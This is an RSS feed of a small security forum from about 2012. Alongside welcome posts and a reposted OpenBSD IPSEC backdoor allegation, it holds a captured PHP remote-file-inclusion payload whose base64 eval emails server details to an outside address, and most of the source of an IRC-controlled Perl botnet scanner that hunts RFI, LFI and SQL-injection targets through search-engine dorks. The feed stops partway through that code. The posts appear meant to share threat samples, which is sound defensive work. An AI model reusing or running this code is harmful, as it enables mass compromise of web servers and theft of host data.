<?xml version="1.0" encoding="utf-8"?>
<!-- generator="FeedCreator 1.8.0-nukeFEED (http://nukeSEO.com)" -->
<rss version="2.0">
    <channel>
        <title>Forums - CyberBase7 Security</title>
        <description></description>
        <link>http://www.cyberbase7.com/</link>
        <lastBuildDate>Sun, 20 May 2012 08:10:17 -0500</lastBuildDate>
        <generator>FeedCreator 1.8.0-nukeFEED (http://nukeSEO.com)</generator>
        <item>
            <title>Double nested base 64  seriously?</title>
            <link>http://www.cyberbase7.com/modules.php?name=Forums&amp;file=viewtopic&amp;p=17#17</link>
            <description><![CDATA[http://109.230.246.115/control/loader.php?password=JHGBVjkhsi8yhu65t3uyg&amp;action=index
<br />

<br />
this is the latest rolling around today had 4 attempts.. enjoy the decoding or  investigating the above..
<br />

<br />
Date &amp;amp; Time: 2011-09-27 09:24:55 EDT GMT -0400 Blocked IP: 76.76.15.75 User ID: Anonymous (1)
<br />
Reason: Abuse-Filter
<br />
--------------------
<br />
Referer: none
<br />
User Agent: &lt;php&gt;]]></description>
            <author> no_email@example.com (CyberOps)</author>
            <guid isPermaLink="false">http://www.cyberbase7.com/modules.php?name=Forums&amp;file=viewtopic&amp;p=17#17</guid>
        </item>
        <item>
            <title>SQL injection driveby bot  -- Live code use at own risk.</title>
            <link>http://www.cyberbase7.com/modules.php?name=Forums&amp;file=viewtopic&amp;p=16#16</link>
            <description><![CDATA[Query String: -table=books&amp;-action=browse_by_cat&amp;-cursor=0&amp;-skip=0&amp;-limit=30&amp;-mode=list&amp;-lang=http://www.stuhlpfarrer.at/r.txt??
<br />
Get String: -table=books&amp;-action=browse_by_cat&amp;-cursor=0&amp;-skip=0&amp;-limit=30&amp;-mode=list&amp;-lang=http://www.stuhlpfarrer.at/r.txt??
<br />

<br />

<br />
####&lt;?php
<br />
####function ConvertBytes($number)
<br />
{
<br />
        $len = strlen($number);
<br />
        if($len &lt;4&gt;= 4 &amp;&amp; $len &lt;6&gt;= 7 &amp;&amp; $len &lt;=9)
<br />
        {
<br />
                return sprintf(&quot;%0.2f Mb&quot;, $number/1024/1024);
<br />
        }
<br />
   
<br />
        return sprintf(&quot;%0.2f Gb&quot;, $number/1024/1024/1024);
<br />
                           
<br />
}
<br />

<br />
echo &quot;Rama&lt;br&gt;&quot;;
<br />
$un = @php_uname();
<br />
$up = system(uptime);
<br />
$id1 = system(id);
<br />
$pwd1 = @getcwd();
<br />
$sof1 = getenv(&quot;SERVER_SOFTWARE&quot;);
<br />
$php1 = phpversion();
<br />
$name1 = $_SERVER['SERVER_NAME'];
<br />
$ip1 = gethostbyname($SERVER_ADDR);
<br />
$free1= diskfreespace($pwd1);
<br />
$free = ConvertBytes(diskfreespace($pwd1));
<br />
if (!$free) {$free = 0;}
<br />
$all1= disk_total_space($pwd1);
<br />
$all = ConvertBytes(disk_total_space($pwd1));
<br />
if (!$all) {$all = 0;}
<br />
$used = ConvertBytes($all1-$free1);
<br />
$os = @PHP_OS;
<br />

<br />
echo &quot;Rama was here ..&lt;br&gt;&quot;;
<br />
echo &quot;uname -a: $un&lt;br&gt;&quot;;
<br />
echo &quot;os: $os&lt;br&gt;&quot;;
<br />
echo &quot;uptime: $up&lt;br&gt;&quot;;
<br />
echo &quot;id: $id1&lt;br&gt;&quot;;
<br />
echo &quot;pwd: $pwd1&lt;br&gt;&quot;;
<br />
echo &quot;php: $php1&lt;br&gt;&quot;;
<br />
echo &quot;software: $sof1&lt;br&gt;&quot;;
<br />
echo &quot;server-name: $name1&lt;br&gt;&quot;;
<br />
echo &quot;server-ip: $ip1&lt;br&gt;&quot;;
<br />
echo &quot;free: $free&lt;br&gt;&quot;;
<br />
echo &quot;used: $used&lt;br&gt;&quot;;
<br />
echo &quot;total: $all&lt;br&gt;&quot;;
<br />
eval(base64_decode(&quot;aWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgeyAkc2FmZW1vZGUgPSAiT04iOyB9IGVsc2UgeyAkc2FmZW1vZGUgPSAiT0ZGIjsgfSAkdmlzaXRvciA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOyAkZmxvYXQgPSAiRnJvbSA6IHZ1cmwgaW5mbyA8ZnVsbEBpbmZvLmNvbT4iOyAkYXJhbiA9IGV4ZWMoJ3VuYW1lIC1hOycpOyAkd2ViID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOyAkaW5qID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07ICRib2R5ID0gIkJ1ZyBodHRwOi8vIi4kd2ViLiRpbmouIm5uU3ByZWFkIFZpYSA6ICIuJHZpc2l0b3IuIm5uS2VybmVsIFZlcnNpb24gOiAiLiRhcmFuLiJublNhZmUgTW9kZSA6ICIuJHNhZmVtb2RlOyBtYWlsKCJ1bml4b24yMDEwQGdtYWlsLmNvbSIsIlNldG9yYW4gQm9zICIuJHNhZmVtb2RlLCRib2R5LCRmbG9hdCk7&quot;));
<br />
exit;]]></description>
            <author> no_email@example.com (CyberOps)</author>
            <guid isPermaLink="false">http://www.cyberbase7.com/modules.php?name=Forums&amp;file=viewtopic&amp;p=16#16</guid>
        </item>
        <item>
            <title>Welcome all new members</title>
            <link>http://www.cyberbase7.com/modules.php?name=Forums&amp;file=viewtopic&amp;p=15#15</link>
            <description><![CDATA[Just wanted to welcome all of the new members that have recently joined. there is not much forum traffic as you all can see and thats fine most of us just us PM anyway but it's here and yes it needs some work color wise so when some spare time presents itself I will work on that some.. until then if there is any feeds you want to see on the main page send me a note and we will try and get those for you.. until then enjoy the site..
<br />

<br />
CyberOps...]]></description>
            <author> no_email@example.com (CyberOps)</author>
            <guid isPermaLink="false">http://www.cyberbase7.com/modules.php?name=Forums&amp;file=viewtopic&amp;p=15#15</guid>
        </item>
        <item>
            <title>Allegations regarding OpenBSD IPSEC  Back Door</title>
            <link>http://www.cyberbase7.com/modules.php?name=Forums&amp;file=viewtopic&amp;p=14#14</link>
            <description><![CDATA[Recieved this tonight - they are still researching this however deraadt dosnt  put something like this out unless he would be sure that there was a threat -- this is being confirmed -- 
<br />

<br />
I would audit your environments for anything using OpenBSD IPSEC
<br />

<br />
----------------
<br />

<br />
I have received a mail regarding the early development of the OpenBSD
<br />
IPSEC stack.  It is alleged that some ex-developers (and the company
<br />
they worked for) accepted US government money to put backdoors into
<br />
our network stack, in particular the IPSEC stack.  Around 2000-2001.
<br />

<br />
Since we had the first IPSEC stack available for free, large parts of
<br />
the code are now found in many other projects/products.  Over 10
<br />
years, the IPSEC code has gone through many changes and fixes, so it
<br />
is unclear what the true impact of these allegations are.
<br />

<br />
The mail came in privately from a person I have not talked to for
<br />
nearly 10 years.  I refuse to become part of such a conspiracy, and
<br />
will not be talking to Gregory Perry about this.  Therefore I am
<br />
making it public so that
<br />
    (a) those who use the code can audit it for these problems,
<br />
    (b) those that are angry at the story can take other actions,
<br />
    (c) if it is not true, those who are being accused can defend themselves.
<br />

<br />
Of course I don't like it when my private mail is forwarded.  However
<br />
the &quot;little ethic&quot; of a private mail being forwarded is much smaller
<br />
than the &quot;big ethic&quot; of government paying companies to pay open source
<br />
developers (a member of a community-of-friends) to insert
<br />
privacy-invading holes in software.
<br />

<br />
----
<br />

<br />
From: Gregory Perry &lt;Gregory&gt;
<br />
To: &quot;deraadt@openbsd.org&quot; &lt;deraadt&gt;
<br />
Subject: OpenBSD Crypto Framework
<br />
Thread-Topic: OpenBSD Crypto Framework
<br />
Thread-Index: AcuZjuF6cT4gcSmqQv+Fo3/+2m80eg==
<br />
Date: Sat, 11 Dec 2010 23:55:25 +0000
<br />
Message-ID: &lt;8D3222F9EB68474DA381831A120B1023019AC034&gt;
<br />
Accept-Language: en-US
<br />
Content-Language: en-US
<br />
X-MS-Has-Attach:
<br />
X-MS-TNEF-Correlator:
<br />
Content-Type: text/plain; charset=&quot;iso-8859-1&quot;
<br />
Content-Transfer-Encoding: quoted-printable
<br />
MIME-Version: 1.0
<br />
Status: RO
<br />

<br />
Hello Theo,
<br />

<br />
Long time no talk.  If you will recall, a while back I was the CTO at
<br />
NETSEC and arranged funding and donations for the OpenBSD Crypto
<br />
Framework.  At that same time I also did some consulting for the FBI,
<br />
for their GSA Technical Support Center, which was a cryptologic
<br />
reverse engineering project aimed at backdooring and implementing key
<br />
escrow mechanisms for smart card and other hardware-based computing
<br />
technologies.
<br />

<br />
My NDA with the FBI has recently expired, and I wanted to make you
<br />
aware of the fact that the FBI implemented a number of backdoors and
<br />
side channel key leaking mechanisms into the OCF, for the express
<br />
purpose of monitoring the site to site VPN encryption system
<br />
implemented by EOUSA, the parent organization to the FBI.  Jason
<br />
Wright and several other developers were responsible for those
<br />
backdoors, and you would be well advised to review any and all code
<br />
commits by Wright as well as the other developers he worked with
<br />
originating from NETSEC.
<br />

<br />
This is also probably the reason why you lost your DARPA funding, they
<br />
more than likely caught wind of the fact that those backdoors were
<br />
present and didn't want to create any derivative products based upon
<br />
the same.
<br />

<br />
This is also why several inside FBI folks have been recently
<br />
advocating the use of OpenBSD for VPN and firewalling implementations
<br />
in virtualized environments, for example Scott Lowe is a well
<br />
respected author in virtualization circles who also happens top be on
<br />
the FBI payroll, and who has also recently published several tutorials
<br />
for the use of OpenBSD VMs in enterprise VMware vSphere deployments.
<br />

<br />
Merry Christmas...
<br />

<br />
Gregory Perry
<br />
Chief Executive Officer
<br />
GoVirtual Education
<br />

<br />
&quot;VMware Training Products &amp; Services&quot;]]></description>
            <author> no_email@example.com (CyberOps)</author>
            <guid isPermaLink="false">http://www.cyberbase7.com/modules.php?name=Forums&amp;file=viewtopic&amp;p=14#14</guid>
        </item>
        <item>
            <title>Welcome to the Site</title>
            <link>http://www.cyberbase7.com/modules.php?name=Forums&amp;file=viewtopic&amp;p=13#13</link>
            <description><![CDATA[I have noticed that we have a few more new users today - Welcome to the site I hope you find it useful and will contribute to it.
<br />

<br />
CyberOps]]></description>
            <author> no_email@example.com (CyberOps)</author>
            <guid isPermaLink="false">http://www.cyberbase7.com/modules.php?name=Forums&amp;file=viewtopic&amp;p=13#13</guid>
        </item>
        <item>
            <title>VopCrew Multi Scanner v5.1</title>
            <link>http://www.cyberbase7.com/modules.php?name=Forums&amp;file=viewtopic&amp;p=12#12</link>
            <description><![CDATA[#!/usr/bin/perl
<br />

<br />
############################################
<br />
# VopCrew Multi Scanner v5.1               #
<br />
# Coded by Vrs-hCk                         #
<br />
# d00r[at]telkom[dot]net                   #
<br />
# Copyleft © 2009 VopCrew UnderGrounD      #
<br />
############################################
<br />
# perl vopcrew.txt help me !!!             #
<br />
############################################
<br />

<br />
use HTTP::Request;
<br />
use LWP::UserAgent;
<br />
use IO::Socket;
<br />
use IO::Select;
<br />
use Socket;
<br />

<br />
my $fakeproc  = $ARGV[6];
<br />
$ircserver    = $ARGV[0] unless $ircserver;
<br />
my $ircport   = $ARGV[1];
<br />
my $nickname  = $ARGV[2];
<br />
my $ident     = $ARGV[3];
<br />
my $channel   = '#'.$ARGV[4];
<br />
my $runner    = $ARGV[5];
<br />
my $fullname  = '15(7@2KAOS15)';
<br />

<br />
my $injector  = $ARGV[7];
<br />
my $phpshell  = $ARGV[8];
<br />
my $rficmd    = '@rfi';
<br />
my $lficmd    = '@lfi';
<br />
my $sqlcmd    = '@sql';
<br />
my $mssqlcmd  = '@mssql';
<br />
my $alicmd    = '@log';
<br />

<br />
$rfi_result   = &quot;Br4v34rT&quot;;
<br />
$lfi_test     = &quot;etc/passwd%00&quot;;
<br />
$lfi_output   = &quot;root:(.+)<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />.+)<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />.+)<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />.+)<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />.+)<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />.+)&quot;;
<br />
$sql_test     = &quot;'&quot;;
<br />
$sql_output = (&quot;Query failed|Query Error|right syntax to use near&quot;);
<br />
$mssql_output = (&quot;SQL Server error|Incorrect syntax near|syntax error converting|unclosed quotation&quot;);
<br />

<br />
my $success   = &quot;\n [+] BraVe Multi Scanner\n [-] Loading Successfully ...\n [-] Process/PID : $fakeproc - $$\n&quot;;
<br />
my $failed    = &quot;\n [-] perl $0 &lt;host&gt; &lt;port&gt; &lt;nick&gt; &lt;ident&gt; &lt;chan&gt; &lt;admin&gt; &lt;fakeproc&gt; &lt;response&gt; &lt;phpshell&gt;\n\n&quot;;
<br />

<br />
if (@ARGV != 9) { print $failed; exit(); } else { print $success; }
<br />

<br />
$SIG{'INT'}   = 'IGNORE';
<br />
$SIG{'HUP'}   = 'IGNORE';
<br />
$SIG{'TERM'}  = 'IGNORE';
<br />
$SIG{'CHLD'}  = 'IGNORE';
<br />
$SIG{'PS'}    = 'IGNORE';
<br />

<br />
chdir(&quot;/&quot;);
<br />
$ircserver=&quot;$ARGV[0]&quot; if $ARGV[0];
<br />
$0 = &quot;$fakeproc&quot;.&quot;\0&quot;x16;;
<br />
my $pid = fork;
<br />
exit if $pid;
<br />
die &quot;\n [!] Something Wrong !!!: $!&quot; unless defined($pid);
<br />

<br />
our %irc_servers;
<br />
our %DCC;
<br />
my $dcc_sel = new IO::Select-&gt;new();
<br />
$sel_client = IO::Select-&gt;new();
<br />

<br />
sub sendraw {
<br />
	if ($#_ == '1') {
<br />
	my $socket = $_[0];
<br />
	print $socket &quot;$_[1]\n&quot;;
<br />
	} else {
<br />
		print $IRC_cur_socket &quot;$_[0]\n&quot;;
<br />
	}
<br />
}
<br />

<br />
sub connector {
<br />
	my $mynick = $_[0];
<br />
	my $ircserver_con = $_[1];
<br />
	my $ircport_con = $_[2];
<br />
	my $IRC_socket = IO::Socket::INET-&gt;new(Proto=&gt;&quot;tcp&quot;, PeerAddr=&gt;&quot;$ircserver_con&quot;, PeerPort=&gt;$ircport_con) or return(1);
<br />
	if (defined($IRC_socket)) {
<br />
		$IRC_cur_socket = $IRC_socket;
<br />
		$IRC_socket-&gt;autoflush(1);
<br />
		$sel_client-&gt;add($IRC_socket);
<br />
		$irc_servers{$IRC_cur_socket}{'host'} = &quot;$ircserver_con&quot;;
<br />
		$irc_servers{$IRC_cur_socket}{'port'} = &quot;$ircport_con&quot;;
<br />
		$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
<br />
		$irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket-&gt;sockhost;
<br />
		nick(&quot;$mynick&quot;);
<br />
		sendraw(&quot;USER $ident &quot;.$IRC_socket-&gt;sockhost.&quot; $ircserver_con :$fullname&quot;);
<br />
		sleep 1;
<br />
	}
<br />
}
<br />

<br />
sub parse {
<br />
	my $servarg = shift;
<br />
	if ($servarg =~ /^PING \<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />.*)/) {
<br />
		sendraw(&quot;PONG :$1&quot;);
<br />
	} elsif ($servarg =~ /^\<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />.+)/) {
<br />
		my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
<br />
		if ($args =~ /^\001VERSION\001$/) {
<br />
			notice(&quot;$pn&quot;, &quot;\001VERSION mIRC v6.17 Khaled Mardam-Bey\001&quot;);
<br />
		}
<br />
		if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ ) {
<br />
			my $natrix = $1;
<br />
			my $arg = $2;
<br />
		}
<br />
	}
<br />
	elsif ($servarg =~ /^\<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />.+?)\!(.+?)\@(.+?)\s+NICK\s+\<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />\S+)/i) {
<br />
		if (lc($1) eq lc($mynick)) {
<br />
			$mynick=$4;
<br />
			$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
<br />
		}
<br />
	} elsif ($servarg =~ m/^\<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />.+?)\s+433/i) {
<br />
		nick(&quot;$mynick|&quot;.int rand(999));
<br />
	} elsif ($servarg =~ m/^\<img src="http://www.cyberbase7.com/modules/Forums/images/smiles/icon_sad.gif" alt="Sad" border="0" />.+?)\s+001\s+(\S+)\s/i) {
<br />
		$mynick = $2;
<br />
		$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
<br />
		$irc_servers{$IRC_cur_socket}{'nome'} = &quot;$1&quot;;
<br />
		sendraw(&quot;MODE $nickname +Bx&quot;);
<br />
		sendraw(&quot;JOIN $channel&quot;);
<br />
		sendraw(&quot;PRIVMSG $channel :BraVe UnderGround&quot;);
<br />
		sendraw(&quot;PRIVMSG $runner :Hi $runner im here !!!&quot;);
<br />
	}
<br />
}
<br />

<br />
my $line_temp;
<br />
while( 1 ) {
<br />
	while (!(keys(%irc_servers))) { connector(&quot;$nickname&quot;, &quot;$ircserver&quot;, &quot;$ircport&quot;); }
<br />
	delete($irc_servers{''}) if (defined($irc_servers{''}));
<br />
	my @ready = $sel_client-&gt;can_read(0);
<br />
	next unless(@ready);
<br />
	foreach $fh (@ready) {
<br />
		$IRC_cur_socket = $fh;
<br />
		$mynick = $irc_servers{$IRC_cur_socket}{'nick'};
<br />
		$nread = sysread($fh, $msg, 4096);
<br />
		if ($nread == 0) {
<br />
			$sel_client-&gt;remove($fh);
<br />
			$fh-&gt;close;
<br />
			delete($irc_servers{$fh});
<br />
		}
<br />
		@lines = split (/\n/, $msg);
<br />
		$msg =~ s/\r\n$//;
<br />

<br />
		#####################################################################
<br />
		############################[ CMD LIST ]#############################
<br />
		#####################################################################
<br />

<br />
		if ($msg=~ /PRIVMSG $channel :!help/){
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2Help15) 8,4 $mssqlcmd &lt;bug&gt; &lt;dork&gt; &quot;);
<br />
		}
<br />

<br />
		if ($msg=~ /PRIVMSG $channel :!id/){
<br />
			&amp;response();
<br />
		}
<br />

<br />
		if ($msg=~ /PRIVMSG $channel :!version/){
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2Version15)12 BraVe Multi Scanner v5.1&quot;);
<br />
		}
<br />

<br />
		if ($msg=~ /PRIVMSG $channel :!engine/){
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2Engine15)12 Google, Bing, AllTheWeb, Altavista, ASK, UOL, LyCos, GoodSearch, Yahoo.&quot;);
<br />
		}
<br />

<br />
		if ($msg=~ /PRIVMSG $channel :!pid/){
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2PID15)12 Process/ID : 4 $fakeproc - $$&quot;);
<br />
		}
<br />

<br />
		if ($msg=~ /PRIVMSG $channel :!about/){
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2About15)3 BraVe Multi Scanner v5.1&quot;);
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2About15)3 Coded by Vrs-hCk - http://c0li.blogspot.com/&quot;);
<br />
			sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2About15)3 Copyleft © 2009 BraVe UnderGrounD&quot;);
<br />
		}
<br />

<br />
		#####################################################################
<br />
		###############################[ RFI ]###############################
<br />
		#####################################################################
<br />

<br />
		##################################################################### Google Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;GooGLe&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2RFI15)(7@2BraVe15)12 Dork :4 $d0rk&quot;);
<br />
					sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2RFI15)(7@2BraVe15)12 File :4 $bugx&quot;);
<br />
					sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2RFI15)(7@2BraVe15)7 Search Engine Loading ...&quot;);
<br />
					&amp;rfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### AllTheWeb Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;AllTheWeb&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;rfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### Bing Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;Bing&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;rfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### Altavista Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;ALtaViSTa&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;rfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### ASK Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;AsK&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;rfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### UoL Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;UoL&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;rfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### LyCos Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;LyCos&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;rfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### GoodSearch Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;GoodSearch&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;rfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### Yahoo Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;YahOo&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;rfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		#####################################################################
<br />
		###############################[ LFI ]###############################
<br />
		#####################################################################
<br />

<br />
		##################################################################### Google Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;GooGLe&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2LFI15)(7@2BraVe15)12 Dork :4 $d0rk&quot;);
<br />
					sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2LFI15)(7@2BraVe15)12 File :4 $bugx&quot;);
<br />
					sendraw($IRC_cur_socket, &quot;PRIVMSG $channel :15(7@2LFI15)(7@2BraVe15)7 Search Engine Loading ...&quot;);
<br />
					&amp;lfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### AllTheWeb Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;AllTheWeb&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;lfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### Bing Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;Bing&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;lfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### Altavista Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;ALtaViSTa&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;lfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### ASK Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;AsK&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;lfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### UoL Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;UoL&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;lfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### LyCos Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;LyCos&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;lfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### GoodSearch Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
			else {
<br />
				if (fork) {	exit; } else {
<br />
					my $engx = &quot;GoodSearch&quot;;
<br />
					my $bugx = $1;
<br />
					my $d0rk = $2;
<br />
					&amp;lfiscan($engx,$bugx,$d0rk);
<br />
				}
<br />
				exit;
<br />
			}
<br />
		}
<br />

<br />
		##################################################################### Yahoo Engine
<br />
		if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
<br />
			if (my $pid = fork) {
<br />
				waitpid($pid, 0);
<br />
			}
<br />
